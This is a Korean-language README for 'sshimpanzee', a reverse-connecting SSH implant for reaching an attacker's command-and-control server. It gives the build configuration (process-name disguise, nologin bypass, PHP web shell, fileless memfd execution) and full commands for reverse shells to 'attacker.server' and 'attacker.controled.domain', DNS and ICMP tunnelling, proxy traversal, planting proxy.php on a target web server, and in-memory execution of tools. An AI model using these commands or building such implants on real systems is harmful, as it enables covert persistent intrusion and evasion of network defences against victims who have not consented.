
SSHD 기반 임플란트로, C2에 도달하기 위한 터널링 메커니즘(DNS, ICMP, HTTP 캡슐화, HTTP/Socks 프록시, UDP 등)을 지원합니다.
__Sshimpanzee__를 사용하면 __정적 리버스 SSH 서버__를 구축할 수 있습니다. SSH 서버는 포트에서 수신 대기하며 연결을 기다리는 대신, 일반적인 리버스 셸처럼 공격자 IP로 역방향 연결을 시작합니다. __Sshimpanzee__를 사용하면 일반 SSH 연결의 모든 기능(예: 포트 포워딩, 동적 SOCKS 프록시, FTP 서버)을 활용할 수 있습니다.
더 중요한 점은, 피해자 시스템에서 공격자 서버로의 직접 연결이 불가능할 경우 __DNS 터널링, ICMP 터널링, HTTP 캡슐화__와 같은 다양한 터널링 메커니즘을 제공한다는 것입니다. 또한 HTTP 및 SOCKS5 프록시를 지원합니다. Lexfo 블로그에서 기술 문서를 확인할 수 있습니다.
sudo docker build . --output .
sudo docker build . --platform arm64 --output .
환경 변수 DOCKER_BUILDKIT=1 을 활성화해야 할 수도 있습니다.
빌드는 build.yaml 파일을 기반으로 이루어집니다:
###
# 이것은 sshimpanzee 빌드 설정 파일입니다.
# YAML은 sshimpanzee가 가져야 할 동작 및 기능을 설명하는 데 사용됩니다.
###
### 일반 설정
process_name: "sshimpanzee" # ps에 표시되는 프로세스 이름 (하지만 이 이름으로 프로세스를 종료할 수는 없습니다)
banner: True # 로그에 배너를 표시할지 여부
verbose: 3 # build/build.log에 기록되는 상세 수준
shell: "/bin/sh" # 사용자에게 기본으로 제공할 셸, /etc/passwd 항목에서 false 또는 nologin인 셸을 우회합니다.
timer: 60*1000*1000 # sshimpanzee 자식 프로세스가 종료된 후 새로 포크되기까지의 시간(밀리초). 예를 들어 sock 모드에서는 이전 sshd 연결이 끊긴 후 1분 후에 새 연결이 이루어집니다.
keygen: True # 빌드 중 키 재생성, 새 HOST 및 CLIENT 키 사용 보장
public_key: # 새 키가 재생성되지 않는 경우 인증에 사용할 공개 클라이언트 키를 지정할 수 있습니다. (ed25519 키만 지원됨)
#public key: "ssh-ed25519 .... ROGUE@ROGUE"
make: True # 빌더 스크립트가 sshd 바이너리를 생성하도록 하려면 True로 유지
force_clean_build: True # 현재 Docker 빌드에 필요, 빌더 스크립트가 터널과 종속성을 재컴파일하도록 강제
reconf: True # Docker 빌드에 필요
### 환경
# sshimpanzee는 런타임 시 환경 변수를 통해 구성되지만, 기본 동작을 설정하기 위해 환경 변수를 미리 정의할 수 있습니다.
env:
if_not_set : # 여기에 있는 변수는 아직 존재하지 않는 경우 설정됩니다.
REMOTE: 127.0.0.1
PORT: 8080
MODE: sock # MODE 환경 변수는 기본 터널을 관리하는 데 사용됩니다.
overwrite: # 여기에 있는 변수는 이미 존재하는 변수를 덮어씁니다.
### 터널
# sshimpanzee는 다양한 터널링 메커니즘을 제공합니다.
# 컴파일 시간을 단축하고, 더 중요한 것은 바이너리를 더 가볍게 만들기 위해 일부 터널을 포함하거나 제외할 수 있습니다.
# 터널 컴파일 매개변수는 여기에서 지정할 수 있습니다.
tun:
sock:
enabled: True
icmp:
enabled: True
buildserv: True # 해당 ICMPTunnel 서버도 빌드할지 여부
raw_sock: False # 구형 커널을 위한 raw socket 지원 빌드
http_enc :
enabled: True
key: # 웹 셸 키, 비어 있으면 새 키가 생성됩니다.
target:
- "php" # 웹 셸을 생성할 언어 목록
path_fd: "/dev/shm/sshim" # sshimpanzee가 웹 셸과 통신하는 데 사용할 FIFO
dns:
enabled: True
resource: sshimpanzee # DNS2TCP 리소스
key: sshimpanzee # DNS2TCP 키
obfuscate: True # DNS2TCP 매직 문자열 난독화, 해당 서버 빌드를 강제합니다.
buildserv: False
qtype: TXT # DNS2TCP에서 사용하는 쿼리 유형
proxysock:
enabled: True
no_build:
enabled: False
path: []
# Openssh 서브시스템
# man sshd_config Subsystems
subsystems:
internal_sftp: # openssh에서 제공하는 표준 sftp
enabled: True # scp 및 sftp에 필요
name: sftp
exec: internal-sftp
is_internal: True
remote_exec: # Sshimpanzee 사용자 정의 서브시스템
enabled: True # 파일 없는 memfd 기술을 사용한 원격 실행
name: remote-exec
exec: internal-remote-exec
is_internal: True
python: # 표준 ssh 서브시스템 예제
enabled: False
name: python
exec: /usr/bin/python -c "print('python code')"
is_internal: False
런타임 시 sshimpanzee 바이너리는 환경 변수를 통해 구성됩니다.
MODE 변수를 사용하면 컴파일된 터널 중에서 선택할 수 있습니다.
모든 터널은 환경 변수를 통해 구성할 수 있습니다.
예를 들어 127.0.0.1:8080으로 클래식 리버스 연결을 얻으려면 다음을 사용하십시오:
MODE=socks REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee
-d 옵션을 사용하여 sshimpanzee를 디버그 모드로 실행할 수 있습니다. 디버그 모드에서는 sshimpanzee가 포그라운드에서 실행됩니다.
현재 sshimpanzee는 임플란트가 공격자 SSH 클라이언트에 도달하기 위한 여러 방식을 지원합니다:
ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT
MODE=sock REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee
기타 예시:
MODE=sock REMOTE=127.0.0.1 PORT=8080 SSHIM_LISTEN= ./sshimpanzee # 127.0.0.1:8080에 바인딩 및 수신
MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX ./sshimpanzee # 유닉스 소켓 /tmp/sock에 연결
MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX= SSHIM_LISTEN= ./sshimpanzee # /tmp/sock 유닉스 소켓에 바인딩 및 수신
ssh [email protected] -oProxyCommand="nc -lp 4444" -i CLIENT
MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=socks5://proxy.lan:8080 ./sshimpanzee
기타 예시:
MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee
MODE=proxysock REMOTE=attacker.server PROXY_USER=user PROXY_PASS=password PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee
listen = 0.0.0.0
port = 53
user = nobody
key = sshimpanzee
chroot = /var/empty/dns2tcp/
domain = <SERVER>
resources = sshimpanzee:127.0.0.1:8080
sudo ./dns2tcpd -F -f dns2tcpdrc
ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT
MODE=dns REMOTE=attacker.controled.domain ./sshimpanzee
기타 예시 :
MODE=dns REMOTE=attacker.controled.domain RESOLVER=8.8.8.8 ./sshimpanzee # DNS Resolver 8.8.8.8 사용 강제
sudo setcap cap_net_raw+ep icmptunnel
echo 1 | sudo dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all
ssh i -oProxyCommand=./icmptunnel -i test/CLIENT
MODE=icmp REMOTE=127.0.0.1 ./sshimpanzee
/tuns/http_enc/proxy.php 파일과 sshd 파일을 대상 웹 서버에 업로드합니다.
proxy.php가 올바르게 실행되는지 확인합니다.
웹 서버에서 sshd 바이너리를 실행합니다:
MODE=http_enc ./sshimpanzee
ssh -o ProxyCommand='python proxy_cli.py http://127.0.0.1:8080/proxy.php EncryptionKey 2>/dev/null' a@a -i ../../keys/CLIENT
proxy_cli.py에 여러 인수를 전달하여 프록시를 추가할 수 있습니다. 현재는 PHP만 지원됩니다. JSP 서버에서는 A Black Path Toward The Sun (ABPTTS)를 사용하는 것이 좋습니다.
proxy.php는 최소한의 웹 셸로, sshd를 서버에 업로드하고 명령을 실행하는 데 사용할 수 있습니다. proxy_cli.py는 이를 위해 --run 및 --drop 옵션을 제공합니다.
큰 입력 지연이 발생할 수 있습니다. 이는 너무 많은 HTTP 요청을 생성하지 않도록 SSH 클라이언트가 보낸 패킷에 1~5초의 지연이 추가되기 때문입니다. 많은 HTTP 요청(따라서 웹 서버의 많은 로그)이 생성되어도 괜찮다면 proxy_cli.py 명령에 --no-buffer 옵션을 추가하십시오.
이 저장소는 __utils/client/bin__에 위치한 클라이언트도 제공합니다. 간단히 CLIENT 키를 utils/client/keys/에 복사하십시오:
sshimpanzee --new PORT #새 리스너를 PORT에 생성
sshimpanzee --new-dns #새 DNS 리스너 생성 (utils/client/config/dnsconf.txt 수정 잊지 마세요)
sshimpanzee --new-icmp #새 icmp 리스너 생성
sshimpanzee --new-http PROXY_PHP_URL #새 HTTP 세션 생성
sshimpanzee --list #사용 가능한 세션 목록 표시
sshimpanzee --get SESSION_NUMBER #세션으로 이동, 추가 매개변수는 ssh 매개변수로 전달
sshimpanzee --rename SESSION_NUMBER #세션 이름 변경
sshimpanzee --kill SESSION_NUMBER #세션 종료
sshimpanzee #fzf를 사용하여 원하는 세션 선택
하지만 SSH를 직접 사용하는 것보다 신뢰성이 떨어질 수 있습니다.
모든 터널은 tuns/ 디렉토리에 있습니다. 다른 터널을 추가하려면 tuns/builder.py에 터널 이름으로 함수를 추가하기만 하면 됩니다. 이 함수는 libtun.a 아카이브를 생성하며, 필요한 만큼의 .o 파일을 포함하고 그 중 하나는 tun() 심볼을 내보냅니다. 또는 libtun.a를 직접 빌드하고 no_build라는 터널을 사용하여 사용자 정의 libtun.a 경로를 제공할 수 있습니다.
sshimpanzee가 remote-exec 서브시스템 모듈로 빌드된 경우, 완전히 메모리에서 원격으로 코드를 실행할 수 있습니다.
python remote_loader.py "ssh -vvvv t@t -S ./SOCKET -s remote-exec" /home/titouan/tools/Misc/RustScan/target/release/rustscan -a 127.0.0.1
이 저장소는 다양한 프로젝트에 의존하고 있습니다.
터널의 경우:
이 프로젝트는 매우 독창적인 프로젝트가 아니라는 점을 명심하는 것이 중요합니다. SSH 프로토콜을 무기화하는 것은 이미 몇 년 전에 수행되었습니다: